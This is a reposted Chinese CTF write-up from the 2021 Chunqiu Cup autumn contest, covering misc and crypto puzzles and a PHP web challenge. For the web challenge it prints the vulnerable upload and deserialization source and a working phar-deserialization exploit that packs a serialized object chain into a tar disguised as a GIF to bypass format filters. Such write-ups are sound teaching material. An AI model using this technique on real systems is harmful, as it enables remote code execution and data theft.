[CTF]2021春秋杯网络安全联赛秋季赛 勇者山峰部分writeup

Posted Sapphire037

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF]2021春秋杯网络安全联赛秋季赛 勇者山峰部分writeup相关的知识,希望对你有一定的参考价值。

MISC

1.Helloshark

题目给出一个图片,010查看尾部有压缩包数据,foremost提取,里面说了密码在图片里,zsteg梭,得到密码很长一串"password:@91902AF23C#276C2FC7EAC615739CC7C0",打开压缩包得到流量包。找了蛮久,在某个tcp追踪流发现

注意到竖下来有flag字样,一个一个对着打即可得到flag

2.MarioCoin

通过百度,在Google的拓展程序里用MetaMask创建一个账户,然后网络调成Rinkeby,获取私钥,复制地址,然后注册,发现一直提示1,登录也没成功,找大哥拿了一点币,成功注册开始游戏,玩了一会拿到1000多块钱,然后填地址加数字给我自己发钱,然后购买flag即可

然后flag就会发到邮箱,得到flag

3.问卷调查

Crypto

1.Vigenere
题目名字维吉尼亚,一看到就下载然后拿到之前下载的离线网址里爆破即可

WEB

1.Unser_name

F12得到www.zip,直接下载,看源码.

upload.php

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

function uploadfile()
    global $_FILES;
    if (uploadfilecheck() && black_key_check())
        $name = md5("cdusec".$_SERVER["REMOTE_ADDR"]).".gif";
        if(file_exists("upload_file/").$name)
            unlink($name);
        
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/".$name);
        echo "<script type='text/javascript'>alert('ok');</script>";
    



function black_key_check()
	$phar_magic="__HALT_COMPILER";
	$zip_magic="PK\\x03\\x04";
	$gz_magic="\\x1f\\x8b\\x08";
	$bz_magic="BZh";
	$contents = file_get_contents($_FILES["file"]["tmp_name"]);
	if(strpos($contents,$phar_magic)!==false)
		return false;
	
	if($zip_magic===substr($contents,0,4))
		return false;
	
	if($gz_magic===substr($contents,0,3))
		return false;
	
	if($bz_magic===substr($contents,0,3))
		return false;
	
	exec("tar -tf ".$_FILES["file"]["tmp_name"],$r_array);
	if(in_array(".phar/.metadata",$r_array))
		return false;
	
	return true;


function uploadfilecheck()
    global $_FILES;
    $allowedExts = array("gif","jpeg","jpg","png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (empty($extension))
    else
        if (in_array($extension,$allowedExts))
            return true;
        else
            echo '<script type="text/javascript">alert("no");</script>';
            return false;
        
    

uploadfile();
?>

exists.php

<?php
class name1
    public $var;
    public function __destruct()
        echo $this->var;
    

class name2
    public function __toString()
        $_POST["func"]();
        return "";
    

header("Content-type: text/html;charset=utf-8");
$ip=$_SERVER['REMOTE_ADDR'];
$find_this = create_function("", 'die(`cat /flag`);');
error_reporting(0);
$filename = $_GET['filename'];
if (!$_GET['ip'])
    echo $ip;

if ($filename == NULL)
   die();

if (file_exists($filename))
    echo '<script type="text/javascript">alert("该文件存在");</script>';

else
    echo '<script type="text/javascript">alert("该文件不存在");</script>';


在exists.php里给了两个类,总的逻辑比较简单,通过给var赋值然后进入name2调用匿名函数然后拿到flag,能上传文件,有file_exists,很明显的phar反序列化,但是过滤得比较严格,zip,gzip,bzip都不行,但是可以用tar,然后tar这里下面有测.phar/.metadata,测试了一下in_array函数,只要在后面多加几个a就可以绕过检测并且不会影响后续过程,那么先构建个tar文件.
首先

<?php
class name1
    public $var;
    public function  __construct()
    
        $this->var=new name2();
    

class name2

file_put_contents(".phar/.metadataa",serialize(new name1()));
?>

然后在linux下打包,

tar -cf test.tar .phar/

得到test.tar,改gif后缀,直接上传,文件名为cdusec+ip的md5值然后.gif,ip直接访问exists.php就能得到。加密后拼接得到文件名cddc9385153d0b6c5c80a6a94dc9219c.gif
访问一手:xxxx/upload_file/cddc9385153d0b6c5c80a6a94dc9219c.gif发现是存在的,那么代表上传成功。先看phpinfo

因为版本原因,5.5.9和本地7调用匿名函数的方式不同,5是lambda_x,x=1,2,3…,7是lambda_0x,通过本地调试了解如何调用匿名函数,每访问一次exists.php,lambda后的值就会加一,这个具体也没怎么测过,有时候可以有时候不行,索性重开个环境,传完之后直接hackbar传参即可拿到flag,具体看图

以上是关于[CTF]2021春秋杯网络安全联赛秋季赛 勇者山峰部分writeup的主要内容,如果未能解决你的问题,请参考以下文章

2021年春秋杯网络安全联赛秋季赛 传说殿堂赛道misc部分writeup

[ CTF ] WriteUp-2022年春秋杯网络安全联赛-冬季赛

[i春秋]“百度杯”CTF比赛 十月场-Hash

i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

“科大讯飞杯”第18届上海大学程序设计联赛春季赛暨高校网络友谊赛

“科大讯飞杯”第18届上海大学程序设计联赛春季赛暨高校网络友谊赛